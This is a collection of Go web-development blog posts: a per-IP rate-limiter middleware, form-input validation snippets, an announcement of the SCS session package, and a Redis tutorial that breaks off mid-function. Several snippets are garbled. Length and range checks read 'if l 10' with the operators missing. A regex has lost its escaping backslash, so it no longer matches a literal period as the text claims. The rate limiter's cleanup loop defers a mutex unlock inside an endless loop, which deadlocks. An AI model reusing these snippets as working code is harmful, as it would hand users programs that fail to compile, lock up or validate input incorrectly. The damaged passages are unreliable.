ratelimit-demo/limit.go package main import ( "log" "net" "net/http" "sync" "time" "golang.org/x/time/rate" ) // Create a custom visitor struct which holds the rate limiter for each // visitor and the last time that the visitor was seen. type visitor struct { limiter *rate.Limiter lastSeen time.Time } // Change the the map to hold values of the type visitor. var visitors = make(map[string]*visitor) var mu sync.Mutex // Run a background goroutine to remove old entries from the visitors map. func init() { go cleanupVisitors() } func getVisitor(ip string) *rate.Limiter { mu.Lock() defer mu.Unlock() v, exists := visitors[ip] if !exists { limiter := rate.NewLimiter(1, 3) // Include the current time when creating a new visitor. visitors[ip] = &visitor{limiter, time.Now()} return limiter } // Update the last seen time for the visitor. v.lastSeen = time.Now() return v.limiter } // Every minute check the map for visitors that haven't been seen for // more than 3 minutes and delete the entries. func cleanupVisitors() { for { time.Sleep(time.Minute) mu.Lock() defer mu.Unlock() for ip, v := range visitors { if time.Now().Sub(v.lastSeen) > 3*time.Minute { delete(visitors, ip) } } } } func limit(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ip, _, err := net.SplitHostPort(r.RemoteAddr) if err != nil { log.Print(err.Error()) http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } limiter := getVisitor(ip) if limiter.Allow() == false { http.Error(w, http.StatusText(429), http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) } Some more improvements… For simple applications this code will work fine as-is, but you may want to adapt it further depending on your needs. For example, it might make sense to: Check the X-Forwarded-For or X-Real-IP headers for the IP address, if you are running your server behind a reverse proxy. Port the code to a standalone package. Make the rate limiter and cleanup settings configurable at runtime. Remove the reliance on global variables, so that different rate limiters can be created with different settings. Switch to a sync.RWMutex to help reduce contention on the map.

• Validation snippets for Go
  Aug 05, 2017

  Over the past few years I've built up a collection of snippets for validating inputs in Go. There's nothing new or groundbreaking here, but hopefully they might save you some time. The snippets assume that the data to validate is stored as strings in r.Form, but the principles are the same no matter where the data has come from. Required inputs Blank text Min and max length (bytes) Min and max length (number of characters) Starts with, ends with and contains Matches regular expression pattern Unicode character range Email validation URL validation Integers Floats Date Datetime-local Radio, Select and Datalist (one-in-set) Checkboxes (many-in-set) Single checkbox Required inputs If you have the HTML form: You can verify that a value for the "foo" field has been submitted with: if r.Form.Get("foo") == "" { fmt.Println("error: foo is required") } For checkbox and select inputs this will ensure that at least one item has been checked. Blank text If you have the HTML form: You can verify that a value for the "foo" field isn't blank (i.e. contains whitespace only) with the strings.TrimSpace function: import "strings" ··· if strings.TrimSpace(r.Form.Get("foo")) == "" { fmt.Println("error: foo must not be blank") } Min and max length (bytes) If you have the HTML form: You can verify that the "foo" field contains a certain number of bytes with the builtin len function: l := len(r.Form.Get("foo")) if l 10 { fmt.Println("error: foo must be between 5 and 10 bytes long") } Min and max length (number of characters) If you have the HTML form: You can verify that the "foo" field contains a certain number of characters with the utf8.RuneCountInString function. This is subtly different to checking the number of bytes. For example, the string "Zoë" contains 3 characters but is 4 bytes long because of the accented character. import "unicode/utf8" ··· l := utf8.RuneCountInString(r.Form.Get("foo")) if l 10 { fmt.Println("error: foo must be between 5 and 10 characters long") } Starts with, ends with and contains If you have the HTML form: You can verify that the "foo" field starts with, ends with, or contains a particular string using the functions in the strings package: import "strings" ··· // Check that the field value starts with 'abc'. if !strings.HasPrefix(r.Form.Get("foo"), "abc") { fmt.Println("error: foo does not start with 'abc'") } // Check that the field value ends with 'abc'. if !strings.HasSuffix(r.Form.Get("foo"), "abc") { fmt.Println("error: foo does not end with 'abc'") } // Check that the field value contains 'abc' anywhere in it. if !strings.Contains(r.Form.Get("foo"), "abc") { fmt.Println("error: foo does not contain 'abc'") } Matches regular expression pattern If you have the HTML form: You can verify that the "foo" field matches a particular regular expression using the regexp package. For example, to check that it matches the pattern ^[a-z]{4}\.[0-9]{2}$ (four lowercase letters followed by a period and two digits): import "regexp" ··· // Pre-compiling the regular expression and storing it in a variable is more efficient // if you're going to use it multiple times. The regexp.MustCompile function will // panic on failure. var rxPat = regexp.MustCompile(`^[a-z]{4}.[0-9]{2}$`) if !rxPat.MatchString(r.Form.Get("foo")) { fmt.Println("error: foo does not match the required pattern") } Note that because the dot character has a special meaning in regular expressions, we escaped it using the \ character so it is interpreted as a literal period character instead. In the example above we also used a raw string for the regular expression. If you use an interpreted string (i.e. a string surrounded by double quotes), you need to escape the backslash too because that's the escape character for interpreted strings. So you would need to write: var rxPat = regexp.MustCompile("^[a-z]{4}\.[0-9]{2}$") If you're not familiar with regular expressions then this guide from Mozilla is a good explanation. Unicode character range If you have the HTML form: You can verify that the "foo" field only contains characters in a certain unicode range using the regexp package. For example, to check that it contains only Cyrillic characters in the two unicode blocks 0400 - 04FF (Cyrillic) and 0500 - 052F (Cyrillic Supplementary): import "regexp" ··· // Use an interpreted string and the \u escape notation to create a regular // expression matching the range of characters in the two unicode code blocks. var rxCyrillic = regexp.MustCompile("^[\u0400-\u04FF\u0500-\u052F]+$") if !rxCyrillic.MatchString(r.Form.Get("foo")) { fmt.Println("error: foo must only contain Cyrillic characters") } Email validation If you have the HTML form: You can sanity check that the "foo" field contains an email address using the regexp package. Choosing a regular expression to use for email validation is a contentious topic, but as a starting point I would suggest the pattern recommended by the W3C and Web Hypertext Application Technology Working Group. In addition, the email addresses have a practical limit of 254 bytes. Putting those together, a decent sanity check is: import "regexp" ··· var rxEmail = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$") e := r.Form.Get("foo") if len(e) > 254 || !rxEmail.MatchString(e) { fmt.Println("error: foo is not a valid email address") } Note that we have to use an interpreted string for the regular expression because it contains a backtick character (which means we can't use a raw string). URL validation If you have the HTML form: You can verify that the "foo" field contains a valid URL by first parsing it with the url.Parse function. This will take a URL string, break it into it's component pieces, and store it as a url.URL struct. You can then sanity check the component pieces as necessary. For instance, to check that a URL is absolute (i.e has both a scheme and host) and that the scheme is either http or https: import "net/url" ··· // If there are any major problems with the format of the URL, url.Parse() will // return an error. u, err := url.Parse(r.Form.Get("foo")) if err != nil { fmt.Println("error: foo is not a valid URL") } else if u.Scheme == "" || u.Host == "" { fmt.Println("error: foo must be an absolute URL") } else if u.Scheme != "http" && u.Scheme != "https" { fmt.Println("error: foo must begin with http or https") } Integers If you have the HTML form: You can verify that the "foo" field contains an integer by parsing it with the strconv.Atoi function. You can then sanity check the integer as necessary. For instance, to check that an integer is a multiple of 5 between 0 and 100: import "strconv" ··· n, err := strconv.Atoi(r.Form.Get("foo")) if err != nil { fmt.Println("error: foo must be an integer") } else if n 10 { fmt.Printf("error: foo must be between 0 and 100") } else if n%5 != 0 { fmt.Println("error: foo must be an multiple of 5") } Floats If you have the HTML form: You can verify that the "foo" field contains an integer by parsing it with the strconv.ParseFloat function. You can then sanity check the float as necessary. For instance, to check that an float is a between 0 and 1: import "strconv" n, err := strconv.ParseFloat(r.Form.Get("foo"), 64) if err != nil { fmt.Println("error: foo must be a float") } else if n 1 { fmt.Printf("error: foo must be between 0 and 1") } Date If you have the HTML form: You can verify that the "foo" field contains a valid date by parsing it with the time.Parse function. It will return an error if the date is not real: any day of month larger than 31 is rejected, as is February 29 in non-leap years, February 30, February 31, April 31, June 31, September 31, and November 31. If you're not familiar with time.Parse, it converts strings with a given format into a time.Time object. You specify what the format is by passing the reference time (Mon Jan 2 15:04:05 -0700 MST 2006) as the first parameter, laid-out in the format you want. If you are expecting a date in the format YYYY-MM-DD then the reference time is 2006-01-02. You can then use the various functions in the time package to sanity check the date as necessary. For instance, to check that an date is valid and between 2017-01-01 and 2017-12-31: import "time" ··· d, err := time.Parse("2006-01-02", r.Form.Get("foo")) if err != nil { fmt.Printf("error: foo is not a valid date") } else if d.Year() != 2017 { fmt.Printf("error: foo is not between 2017-01-01 and 2017-12-31") } Datetime-local If you have the HTML form: You can verify that the "foo" field contains a valid datetime for a specific location by parsing it with the time.ParseInLocation function. This will return an error if the date is not real: any day of month larger than 31 is rejected, as is February 29 in non-leap years, February 30, February 31, April 31, June 31, September 31, and November 31. For instance, to check that an datetime for the "Europe/Vienna" timezone is valid and between 2017-01-01 00:00 and 2017-12-31 23:59: import "time" ··· // Load the users local time zone. This accepts a location name corresponding // to a file in your IANA Time Zone database. loc, err := time.LoadLocation("Europe/Vienna") if err != nil { ··· } d, err := time.ParseInLocation("2006-01-02T15:04:05", r.Form.Get("foo"), loc) if err != nil { fmt.Printf("error: foo is not a valid datetime") } else if d.Year() != 2017 { fmt.Printf("error: foo is not between 2017-01-01 00:00:00 and 2017-12-31 23:59:00") } The time zone database needed by LoadLocation may not be present on all systems, especially non-Unix systems. LoadLocation looks in the directory or uncompressed zip file named by the ZONEINFO environment variable, if any, then looks in known installation locations on Unix systems, and finally looks in $GOROOT/lib/time/zoneinfo.zip. Radio, Select and Datalist (one-in-a-set) validation If you have the HTML form: Wibble Wobble Wubble You can check that the submitted value for the "foo" field is one of a known set like this: set := map[string]bool{"wibble": true, "wobble": true, "wubble": true} if !set[r.Form.Get("foo")] { fmt.Printf("error: foo not match 'wibble', 'wobble' or 'wubble'") } Checkboxes (many-in-a-set) validation If you have the HTML form: Wibble Wobble Wubble To validate these, and make sure that all values sent by the form are either wibble, wobble or wubble, we need to access the underlying form data directly and range over each value: You can check that the submitted values for the "foo" field are part of a known set like this: set := map[string]bool{"wibble": true, "wobble": true, "wubble": true} for _, f := range r.Form["foo"] { if !set[f] { fmt.Printf("error: foo does not match 'wibble', 'wobble' or 'wubble'") break } } Single checkboxes Sometimes you might have a single checkbox, and you want to verify that it has been checked. A common example is an "I accept the terms" checkbox on a form. If you have the HTML form: I accept the terms You can verify that it has been checked like this: if r.Form.Get("foo") != "checked" { fmt.Println("foo must be checked") }

• SCS: A session manager for Go web applications 1.7+
  Aug 30, 2016

  I’ve just released SCS, a session management package for Go 1.7+. Its design leverages Go’s new context package to automatically load and save session data via middleware. Importantly, it also provides the security features that you need when using server-side session stores (like straightforward session token regeneration) and supports both absolute and inactivity timeouts. The session data is safe for concurrent use. A simple example SCS is broken up into small single-purpose packages for ease of use. You should install the session package and your choice of session storage engine from the following table: Package session Provides session management middleware and helpers for manipulating session data engine/memstore In-memory storage engine engine/cookiestore Encrypted-cookie based storage engine engine/pgstore PostgreSQL based storage eninge engine/mysqlstore MySQL based storage engine engine/redisstore Redis based storage engine For example: $ go get github.com/alexedwards/scs/session $ go get github.com/alexedwards/scs/engine/memstore Usage is then simple: File: main.go package main import ( "io" "net/http" "github.com/alexedwards/scs/engine/memstore" "github.com/alexedwards/scs/session" ) func main() { // Create the session manager middleware, passing in a new storage // engine instance as the first parameter. sessionManager := session.Manage(memstore.New(0)) // Set up your HTTP handlers in the normal way. mux := http.NewServeMux() mux.HandleFunc("/put", putHandler) mux.HandleFunc("/get", getHandler) // Wrap your handlers with the session manager middleware. http.ListenAndServe(":4000", sessionManager(mux)) } func putHandler(w http.ResponseWriter, r *http.Request) { // Use the PutString helper to add a new key and associated string value // to the session data. Helpers for other types are included. err := session.PutString(r, "message", "Hello from a session!") if err != nil { http.Error(w, err.Error(), 500) } } func getHandler(w http.ResponseWriter, r *http.Request) { // Use the GetString helper to retrieve the value associated with the // "message" key. msg, err := session.GetString(r, "message") if err != nil { http.Error(w, err.Error(), 500) return } io.WriteString(w, msg) } You should be able to verify that the session data is being across requests with curl: $ curl -i -c cookies localhost:4000/put HTTP/1.1 200 OK Set-Cookie: scs.session.token=uts3FRcCMOIXpyx5uZx28Y54uUFRHxgtYhbgD4epeI4; Path=/; HttpOnly Date: Tue, 30 Aug 2016 17:37:12 GMT Content-Length: 0 Content-Type: text/plain; charset=utf-8 $ curl -i -b cookies localhost:4000/get HTTP/1.1 200 OK Date: Tue, 30 Aug 2016 17:37:21 GMT Content-Length: 21 Content-Type: text/plain; charset=utf-8 Hello from a session! The complete godocs are here. I’d love to hear any feedback – either drop me an email or open an issue on Github.

• Working with Redis
  Feb 26, 2016

  In this post I'm going to be looking at using Redis as a data persistence layer for a Go application. We'll start by explaining a few of the essential concepts, and then build a working web application which highlights some techniques for using Redis in a concurrency-safe way. This post assumes a basic knowledge of Redis itself (and a working installation, if you want to follow along). If you haven't used Redis before, I highly recommend reading the Little Book of Redis by Karl Seguin or running through the Try Redis interactive tutorial. Installing a driver First up we need to install a Go driver (or client) for Redis. A list of available drivers is located at http://redis.io/clients#go. The two drivers that I would recommend are gomodule/redigo and mediocregopher/radix. They are both well designed and actively maintained. The key differences are that Redigo is completely self-contained (with no external dependencies) and it has a smaller, simpler API than Radix. Radix, on the other hand, provides support for Redis sentinel and cluster implementations. Throughout this post we'll be using the Redigo driver. Getting started with Redis and Go As an example, let's say that we have an online record shop and want to store information about the albums for sale in Redis. There's many different ways we could model this data in Redis, but we'll keep things simple and store each album as a hash – with fields for title, artist, price and the number of 'likes' that it has. As the key for each album hash we'll use the pattern album:{id}, where id is a unique integer value. So if we wanted to store a new album using the Redis CLI, we could execute a HMSET command along the lines of: 127.0.0.1:6379> HMSET album:1 title "Electric Ladyland" artist "Jimi Hendrix" price 4.95 likes 8 OK To do the same thing from a Go application, we need to combine a couple of functions from the gomodule/redigo/redis package. The first is the Dial() function, which returns a new connection to our Redis server. The second is the Do() method, which sends a command to our Redis server across the connection. This returns the reply from Redis as an interface{} type, along with any error if applicable. Using them is quite straightforward in practice: File: main.go package main import ( "fmt" "log" // Import the redigo/redis package. "github.com/gomodule/redigo/redis" ) func main() { // Establish a connection to the Redis server listening on port // 6379 of the local machine. 6379 is the default port, so unless // you've already changed the Redis configuration file this should // work. conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } // Importantly, use defer to ensure the connection is always // properly closed before exiting the main() function. defer conn.Close() // Send our command across the connection. The first parameter to // Do() is always the name of the Redis command (in this example // HMSET), optionally followed by any necessary arguments (in this // example the key, followed by the various hash fields and values). _, err = conn.Do("HMSET", "album:2", "title", "Electric Ladyland", "artist", "Jimi Hendrix", "price", 4.95, "likes", 8) if err != nil { log.Fatal(err) } fmt.Println("Electric Ladyland added!") } In this example we're not really interested in the reply from Redis (all successful HMSET commands just reply with the string "OK") so we don't do anything except check the return value from Do() for any errors. Working with replies When we are interested in the reply from Redis, the gomodule/redigo/redis package contains some useful helper functions for converting the reply (which has the type interface{}) into a Go type we can easily work with. These are: redis.Bool() – converts a single reply to a bool redis.Bytes() – converts a single reply to a byte slice ([]byte) redis.Float64() – converts a single reply to a float64 redis.Int() – converts a single reply to a int redis.String() – converts a single reply to a string redis.Values() – converts an array reply to an slice of individual replies redis.Strings() – converts an array reply to an slice of strings ([]string) redis.ByteSlices() – converts an array reply to an slice of byte slices ([][]byte) redis.StringMap() – converts an array of strings (alternating key, value) into a map[string]string. Useful for HGETALL etc Let's use some of these in conjunction with the HGET command to retrieve information from one of the album hashes: File: main.go package main import ( "fmt" "log" "github.com/gomodule/redigo/redis" ) func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Issue a HGET command to retrieve the title for a specific album, // and use the Str() helper method to convert the reply to a string. title, err := redis.String(conn.Do("HGET", "album:1", "title")) if err != nil { log.Fatal(err) } // Similarly, get the artist and convert it to a string. artist, err := redis.String(conn.Do("HGET", "album:1", "artist")) if err != nil { log.Fatal(err) } // And the price as a float64... price, err := redis.Float64(conn.Do("HGET", "album:1", "price")) if err != nil { log.Fatal(err) } // And the number of likes as an integer. likes, err := redis.Int(conn.Do("HGET", "album:1", "likes")) if err != nil { log.Fatal(err) } fmt.Printf("%s by %s: £%.2f [%d likes]\n", title, artist, price, likes) } It's worth pointing out that, when we use these helper methods, the error they return could relate to one of two things: either the failed execution of the command, or the conversion of the reply data to the desired type (for example, we'd get an error if we tried to convert the reply "Jimi Hendrix" to a float64). There's no way of knowing which kind of error it is unless we examine the error message. If you run the code above you should get output which looks like: $ go run main.go Electric Ladyland by Jimi Hendrix: £4.95 [8 likes] Let's now look at a more complete example, where we use the HGETALL command to retrieve all fields from an album hash in one go and store the information in a custom Album struct. File: main.go package main import ( "fmt" "log" "strconv" "github.com/gomodule/redigo/redis" ) // Define a custom struct to hold Album data. type Album struct { Title string Artist string Price float64 Likes int } func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Fetch all album fields with the HGETALL command. Because HGETALL // returns an array reply, and because the underlying data structure // in Redis is a hash, it makes sense to use the Map() helper // function to convert the reply to a map[string]string. reply, err := redis.StringMap(conn.Do("HGETALL", "album:1")) if err != nil { log.Fatal(err) } // Use the populateAlbum helper function to create a new Album // object from the map[string]string. album, err := populateAlbum(reply) if err != nil { log.Fatal(err) } fmt.Printf("%+v", album) } // Create, populate and return a pointer to a new Album struct, based // on data from a map[string]string. func populateAlbum(reply map[string]string) (*Album, error) { var err error album := new(Album) album.Title = reply["title"] album.Artist = reply["artist"] // We need to use the strconv package to convert the 'price' value // from a string to a float64 before assigning it. album.Price, err = strconv.ParseFloat(reply["price"], 64) if err != nil { return nil, err } // Similarly, we need to convert the 'likes' value from a string to // an integer. album.Likes, err = strconv.Atoi(reply["likes"]) if err != nil { return nil, err } return album, nil } Running this code should give an output like: $ go run main.go &{Title:Electric Ladyland Artist:Jimi Hendrix Price:4.95 Likes:8} Or an alternative, and arguably neater, approach is to use the redis.Values() and redis.ScanStruct() functions to automatically unpack the data to the Album struct, like so: File: main.go package main import ( "fmt" "log" "github.com/gomodule/redigo/redis" ) // Define a custom struct to hold Album data. Notice the struct tags? // These indicate to redigo how to assign the data from the reply into // the struct. type Album struct { Title string `redis:"title"` Artist string `redis:"artist"` Price float64 `redis:"price"` Likes int `redis:"likes"` } func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Fetch all album fields with the HGETALL command. Wrapping this // in the redis.Values() function transforms the response into type // []interface{}, which is the format we need to pass to // redis.ScanStruct() in the next step. values, err := redis.Values(conn.Do("HGETALL", "album:1")) if err != nil { log.Fatal(err) } // Create an instance of an Album struct and use redis.ScanStruct() // to automatically unpack the data to the struct fields. This uses // the struct tags to determine which data is mapped to which // struct fields. var album Album err = redis.ScanStruct(values, &album) if err != nil { log.Fatal(err) } fmt.Printf("%+v", album) } Note: Behind the scenes the redis.ScanStruct() function uses Go's strconv package to convert the values returned from Redis in to the appropriate Go type for the struct field — similar in principle to what we did in the previous example. By default this supports integer, float, boolean, string and []byte fields. If you need to automatically scan into a custom type, you can do so by implemeting the redis.Scanner() interface on your custom type. Using in a web application One important thing to know about gomodule/redigo/redis is that the Conn object (which is returned by the Dial() function we've been using so far) is not safe for concurrent use. If we want to access a single Redis server from multiple goroutines, as we would in a web application, we must use establish a pool of Redis connections, and each time we want to use a connection we fetch it from the pool, execute our command on it, and return it too the pool. We'll illustrate this in a simple web application, building on the online record store example we've already used. Our finished app will support 3 functions: MethodPathFunction GET/album?id=1Show details of a specific album (using the id provided in the query string) POST/likeAdd a new like for a specific album (using the id provided in the request body) GET/popularList the top 3 most liked albums in order To avoid detracting from the main purpose of this blog post (which is talking about Redis) we'll use a deliberately over-simplified pattern for our web application. If you'd like to follow along, create a basic application scaffold like so… $ mkdir recordstore && cd recordstore $ go mod init example.com/recordstore go: creating new go.mod: module example.com/recordstore $ touch main.go albums.go $ tree . ├── albums.go ├── go.mod └── main.go …And use the Redis CLI to add a few additional albums, along with a new likes sorted set. This sorted set will be used within the GET /popular route to help us quickly and efficiently retrieve the ids of albums with the most likes. Here's the commands to run: HMSET album:1 title "Electric Ladyland" artist "Jimi Hendrix" price 4.95 likes 8 HMSET album:2 title "Back in Black" artist "AC/DC" price 5.95 likes 3 HMSET album:3 title "Rumours" artist "Fleetwood Mac" price 7.95 likes 12 HMSET album:4 title "Nevermind" artist "Nirvana" price 5.95 likes 8 ZADD likes 8 1 3 2 12 3 8 4 In the albums.go file we'll define a global variable to hold a Redis connection pool, and we'll re-purpose the code we wrote earlier into a FindAlbum() function that we can use from our HTTP handlers. File: albums.go package main import ( "errors" "github.com/gomodule/redigo/redis" ) // Declare a pool variable to hold the pool of Redis connections. var pool *redis.Pool var ErrNoAlbum = errors.New("no album found") // Define a custom struct to hold Album data. type Album struct { Title string `redis:"title"` Artist string `redis:"artist"` Price float64 `redis:"price"` Likes int `redis:"likes"` } func FindAlbum(id string) (*Album, error) { // Use the connection pool's Get() method to fetch a single Redis // connection from the pool. conn := pool.Get() // Importantly, use defer and the connection's Close() method to // ensure that the connection is always returned to the pool before // FindAlbum() exits. defer conn.Close() // Fetch the details of a specific album. If no album is found // the given id, the []interface{} slice returned by redis.Values // will have a length of zero. So check for this and return an // ErrNoAlbum error as necessary. values, err := redis.Values(conn.Do("HGETALL", "album:"+id)) if err != nil { return nil, err } else if len(values) == 0 { return nil, ErrNoAlbum } var album Album err = redis.ScanStruct(values, &album) if err != nil { return nil, err } return &album, nil } Alright, let's head over to the main.go file. In this we will initialize the connection pool and set up a simple web server and HTTP handler for the GET /album route. File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { // Initialize a connection pool and assign it to the pool global // variable. pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } func showAlbum(w http.ResponseWriter, r *http.Request) { // Unless the request is using the GET method, return a 405 'Method // Not Allowed' response. if r.Method != http.MethodGet { w.Header().Set("Allow", http.MethodGet) http.Error(w, http.StatusText(405), 405) return } // Retrieve the id from the request URL query string. If there is // no id key in the query string then Get() will return an empty // string. We check for this, returning a 400 Bad Request response // if it's missing. id := r.URL.Query().Get("id") if id == "" { http.Error(w, http.StatusText(400), 400) return } // Validate that the id is a valid integer by trying to convert it, // returning a 400 Bad Request response if the conversion fails. if _, err := strconv.Atoi(id); err != nil { http.Error(w, http.StatusText(400), 400) return } // Call the FindAlbum() function passing in the user-provided id. // If there's no matching album found, return a 404 Not Found // response. In the event of any other errors, return a 500 // Internal Server Error response. bk, err := FindAlbum(id) if err == ErrNoAlbum { http.NotFound(w, r) return } else if err != nil { http.Error(w, http.StatusText(500), 500) return } // Write the album details as plain text to the client. fmt.Fprintf(w, "%s by %s: £%.2f [%d likes] \n", bk.Title, bk.Artist, bk.Price, bk.Likes) } It's worth elaborating on the redis.Pool settings. In the above code we specify a MaxIdle size of 10, which simply limits the number of idle connections waiting in the pool to 10 at any one time. If all 10 connections are in use when an additional pool.Get() call is made a new connection will be created on the fly. The IdleTimeout setting is set to 240 seconds, which means that any connections that are idle for longer than that will be removed from the pool. If you run the application: $ go run . 2019/08/17 11:01:41 Listening on :4000... And make a request for one of the albums using cURL you should get a response like this: $ curl -i localhost:4000/album?id=2 HTTP/1.1 200 OK Content-Length: 42 Content-Type: text/plain; charset=utf-8 Back in Black by AC/DC: £5.95 [3 likes] Using transactions The second route, POST /likes, is quite interesting. When a user likes an album we need to issue two distinct commands: a HINCRBY to increment the likes field in the album hash, and a ZINCRBY to increment the relevant score in our likes sorted set. This creates a problem. Ideally we would want both keys to be incremented at exactly the same time as a single atomic action. Having one key updated after the other opens up the potential for race conditions to occur. The solution to this is to use Redis transactions, which let us run multiple commands together as an atomic group. To do this we use the MULTI command to start a transaction, followed by the commands (in our case a HINCRBY and ZINCRBY), and finally the EXEC command (which then executes our both our commands together as an atomic group). Let's create a new IncrementLikes() function in the albums.go file which uses this technique. File: albums.go ... func IncrementLikes(id string) error { conn := pool.Get() defer conn.Close() // Before we do anything else, check that an album with the given // id exists. The EXISTS command returns 1 if a specific key exists // in the database, and 0 if it doesn't. exists, err := redis.Int(conn.Do("EXISTS", "album:"+id)) if err != nil { return err } else if exists == 0 { return ErrNoAlbum } // Use the MULTI command to inform Redis that we are starting a new // transaction. The conn.Send() method writes the command to the // connection's output buffer -- it doesn't actually send it to the // Redis server... despite it's name! err = conn.Send("MULTI") if err != nil { return err } // Increment the number of likes in the album hash by 1. Because it // follows a MULTI command, this HINCRBY command is NOT executed but // it is QUEUED as part of the transaction. We still need to check // the reply's Err field at this point in case there was a problem // queueing the command. err = conn.Send("HINCRBY", "album:"+id, "likes", 1) if err != nil { return err } // And we do the same with the increment on our sorted set. err = conn.Send("ZINCRBY", "likes", 1, id) if err != nil { return err } // Execute both commands in our transaction together as an atomic // group. EXEC returns the replies from both commands but, because // we're not interested in either reply in this example, it // suffices to simply check for any errors. Note that calling the // conn.Do() method flushes the previous commands from the // connection output buffer and sends them to the Redis server. _, err = conn.Do("EXEC") if err != nil { return err } return nil } We'll also update the main.go file to add an addLike() handler for the route: File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) mux.HandleFunc("/like", addLike) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } ... func addLike(w http.ResponseWriter, r *http.Request) { // Unless the request is using the POST method, return a 405 // Method Not Allowed response. if r.Method != http.MethodPost { w.Header().Set("Allow", http.MethodPost) http.Error(w, http.StatusText(405), 405) return } // Retrieve the id from the POST request body. If there is no // parameter named "id" in the request body then PostFormValue() // will return an empty string. We check for this, returning a 400 // Bad Request response if it's missing. id := r.PostFormValue("id") if id == "" { http.Error(w, http.StatusText(400), 400) return } // Validate that the id is a valid integer by trying to convert it, // returning a 400 Bad Request response if the conversion fails. if _, err := strconv.Atoi(id); err != nil { http.Error(w, http.StatusText(400), 400) return } // Call the IncrementLikes() function passing in the user-provided // id. If there's no album found with that id, return a 404 Not // Found response. In the event of any other errors, return a 500 // Internal Server Error response. err := IncrementLikes(id) if err == ErrNoAlbum { http.NotFound(w, r) return } else if err != nil { http.Error(w, http.StatusText(500), 500) return } // Redirect the client to the GET /album route, so they can see the // impact their like has had. http.Redirect(w, r, "/album?id="+id, 303) } If you make a POST request to like one of the albums you should now get a response like: $ curl -i -L -d "id=2" localhost:4000/like HTTP/1.1 303 See Other Location: /album?id=2 Date: Sat, 17 Aug 2019 16:50:49 GMT Content-Length: 0 HTTP/1.1 200 OK Date: Sat, 17 Aug 2019 16:50:49 GMT Content-Length: 42 Content-Type: text/plain; charset=utf-8 Back in Black by AC/DC: £5.95 [4 likes] Using the Watch command OK, on to our final route: GET /popular. This route will display the details of the top 3 albums with the most likes, so to facilitate this we'll create a FindTopThree() function in the albums.go file. In this function we need to: Use the ZREVRANGE command to fetch the 3 album ids with the highest score (i.e. most likes) from our likes sorted set. Loop through the returned ids, using the HGETALL command to retrieve the details of each album and add them to a []*Album slice. Again, it's possible to imagine a race condition occurring here. If a second client happens to like an album at the exact moment between our ZREVRANGE command and the HGETALLs for all 3 albums being completed, our user could end up being sent wrong or mis-ordered data. The solution here is to use the Redis WATCH command in conjunction with a transaction. WATCH instructs Redis to monitor a specific key for any changes. If another client or connection modifies our watched key between our WATCH instruction and our subsequent transaction's EXEC, the transaction will fail and return a nil reply. If no client changes the value before our EXEC, the transaction will complete as normal. We can execute our code in a loop until the transaction is successful. File: albums.go package main ... func FindTopThree() ([]*Album, error) { conn := pool.Get() defer conn.Close() // Begin an infinite loop. In a real application, you might want to // limit this to a set number of attempts, and return an error if // the transaction doesn't successfully complete within those // attempts. for { // Instruct Redis to watch the likes sorted set for any changes. _, err := conn.Do("WATCH", "likes") if err != nil { return nil, err } // Use the ZREVRANGE command to fetch the album ids with the // highest score (i.e. most likes) from our 'likes' sorted set. // The ZREVRANGE start and stop values are zero-based indexes, // so we use 0 and 2 respectively to limit the reply to the top // three. Because ZREVRANGE returns an array response, we use // the Strings() helper function to convert the reply into a // []string. ids, err := redis.Strings(conn.Do("ZREVRANGE", "likes", 0, 2)) if err != nil { return nil, err } // Use the MULTI command to inform Redis that we are starting // a new transaction. err = conn.Send("MULTI") if err != nil { return nil, err } // Loop through the ids returned by ZREVRANGE, queuing HGETALL // commands to fetch the individual album details. for _, id := range ids { err := conn.Send("HGETALL", "album:"+id) if err != nil { return nil, err } } // Execute the transaction. Importantly, use the redis.ErrNil // type to check whether the reply from EXEC was nil or not. If // it is nil it means that another client changed the WATCHed // likes sorted set, so we use the continue command to re-run // the loop. replies, err := redis.Values(conn.Do("EXEC")) if err == redis.ErrNil { log.Print("trying again") continue } else if err != nil { return nil, err } // Create a new slice to store the album details. albums := make([]*Album, 3) // Iterate through the array of response objects, using the // ScanStruct() function to assign the data to Album structs. for i, reply := range replies { var album Album err = redis.ScanStruct(reply.([]interface{}), &album) if err != nil { return nil, err } albums[i] = &album } return albums, nil } } Using this from our web application is nice and straightforward: File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) mux.HandleFunc("/like", addLike) mux.HandleFunc("/popular", listPopular) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } ... func listPopular(w http.ResponseWriter, r *http.Request) { // Unless the request is using the GET method, return a 405 'Method Not // Allowed' response. if r.Method != http.MethodGet { w.Header().Set("Allow", http.MethodGet) http.Error(w, http.StatusText(405), 405) return } // Call the FindTopThree() function, returning a return a 500 Internal // Server Error response if there's any error. albums, err := FindTopThree() if err != nil { http.Error(w, 